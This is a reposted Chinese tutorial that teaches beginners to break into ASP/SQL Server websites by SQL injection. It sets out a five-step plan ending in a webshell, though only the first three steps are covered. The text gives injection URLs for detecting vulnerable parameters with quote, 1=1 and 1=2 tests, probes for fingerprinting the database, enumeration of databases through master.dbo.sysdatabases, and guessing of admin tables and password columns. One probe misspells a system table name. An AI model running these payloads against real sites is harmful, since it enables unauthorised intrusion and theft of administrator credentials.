现在对网站的入侵,注入应该还是很流行,可能很多人都会用工具入侵网站,但是还是很多人不知道工具的原理是什么,而且工具很容易出错,今天我就说说SQL注入的原理吧,让对注入比较不了解的新手朋友有个初步的了解!
ASP的注入,主要是SQL SERVER数据库
SQL注入的步骤:
一。找出注入点并判断是否存在漏洞
二。判断数据库的类型
三。猜解数据库的具体信息(管理员密码帐号)
四。找到后台入口
五。上传木马,得到webshell
我一步一步的说
一。找出注入点判断是否存在漏洞
以下都以我的网站做为例子,形如:[url]http://www.xuyunfeng.com.cn/abc.asp?id=xx[/url]
的asp动态网页,xx是参数,参数可能只有一个,也可能有n个,可能是整型参数,也可能是字符型参数,总之只要访问了数据库就很有可能存在注入,现在就要分两种情况判断
1。整型参数的判断
当xx为整数型时,这时SQL语句如下
select * from 表名 where 字段=xx
用以下方法判断
[url]http://www.xuyunfeng.com.cn/abc.asp?id=xx[/url]'(加一个单引号)
SQL语句变成了select * from 表名 where 字段=xx' abc.asp运行异常
[url]http://www.xuyunfeng.com.cn/abc.asp?id=xx[/url] and 1=1 abc.asp运行正常而且与[url]http://www.xuyunfeng.com.cn/abc.asp?id=xx[/url]运行结果相同
[url]http://www.xuyunfeng.com.cn/abc.asp?id=xx[/url] and 1=2 abc.asp运行异常
如果满足以上3点,说明abc.asp一定存在注入漏洞
2。字符串型参数的判断
当xx为字符串型时,这时SQL语句如下
select * from 表名 where 字段='xx'
用以下方法判断
[url]http://www.xuyunfeng.com.cn/abc.asp?id=xx[/url]'(加一个单引号)
SQL语句变成了select * from 表名 where 字段=xx' abc.asp运行异常
[url]http://www.xuyunfeng.com.cn/abc.asp?id=xx[/url] and '1'='1' abc.asp运行正常而且与[url]http://www.xuyunfeng.com.cn/abc.asp?id=xx[/url]运行结果相同
[url]http://www.xuyunfeng.com.cn/abc.asp?id=xx[/url] and '1'='2' abc.asp运行异常
如果满足以上3点,说明abc.asp一定存在注入漏洞
二。判断数据库类型
现在数据库最多的就是ACCESS和SQL SERVER
常见的判断方法
SQL SERVER数据库中有user,db_name()第系统变量
[url]http://www.xuyunfeng.com.cn/abc.asp?id=xx[/url] and user>0
不仅可以判断是否是SQL SERVER数据库,而且还可以得到当前连接到数据库的用户名
[url]http://www.xuyunfeng.com.cn/abc.asp?id=xx[/url] and db_name()>0 不仅可以判断是否是SQL SERVER数据库,而且还可以得到当前正在使用的数据库名
上面是用系统变量判断,还可以利用系统表来判断,ACCESS的系统表是msysobjects,而且在WEB环境下没有访问权限,而SQL SERVER的系统表是sysobjects,在WEB环境下有访问权限,所以借助系统表来判断
[url]http://www.xuyunfeng.com.cn/abc.asp?id=xx[/url] and (select * from sysobject)>0
[url]http://www.xuyunfeng.com.cn/abc.asp?id=xx[/url] and (select * from msysobjects)>0
如果第一条运行正常,而第二条运行异常,则是SQL SERVER,如果两条都运行异常,则是ACCESS
三。猜解数据库的具体信息
1。猜解所有数据库名称
[url]http://www.xuyunfeng.com.cn/abc.asp?id=xx[/url] and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0因为从1到5是系统用的,所以用户自己建立的一定是从6开始的abc.asp异常得到第一个数据库名,用力把dbid改成7,8,9,10...可以得到所有的数据库名 我们假设得到的数据库名是xuyunfeng
2.猜解数据库用户名表名称
一般有:user,users,member,members,userlist,admin,adminuser,systemuser,systemusers...
[url]http://www.xuyunfeng.com.cn/abc.asp?id=xx[/url] and (select count(*) from xuyunfeng.dbo.表名) >0
如果abc.asp正常说名存在表名,一直循环猜到所有表名
假设用户名表名称为admin
3。猜解用户名字段和密码字段名称
用户名字段一般常用有:username,name,user...
密码字段有:password,pass,pwd,passwd..
[url]http://www.xuyunfeng.com.cn/abc.asp?id=xx[/url] and (select count(字段名) from xuyunfeng.dbo.admin) >0
如果abc.asp运行正常说明存在,一直循环猜解

:::::::::::::::::::::::::
现在很多人只知道使用XX开发的工具。确一点也不知道其中的原理。

此篇文章转载自网络资源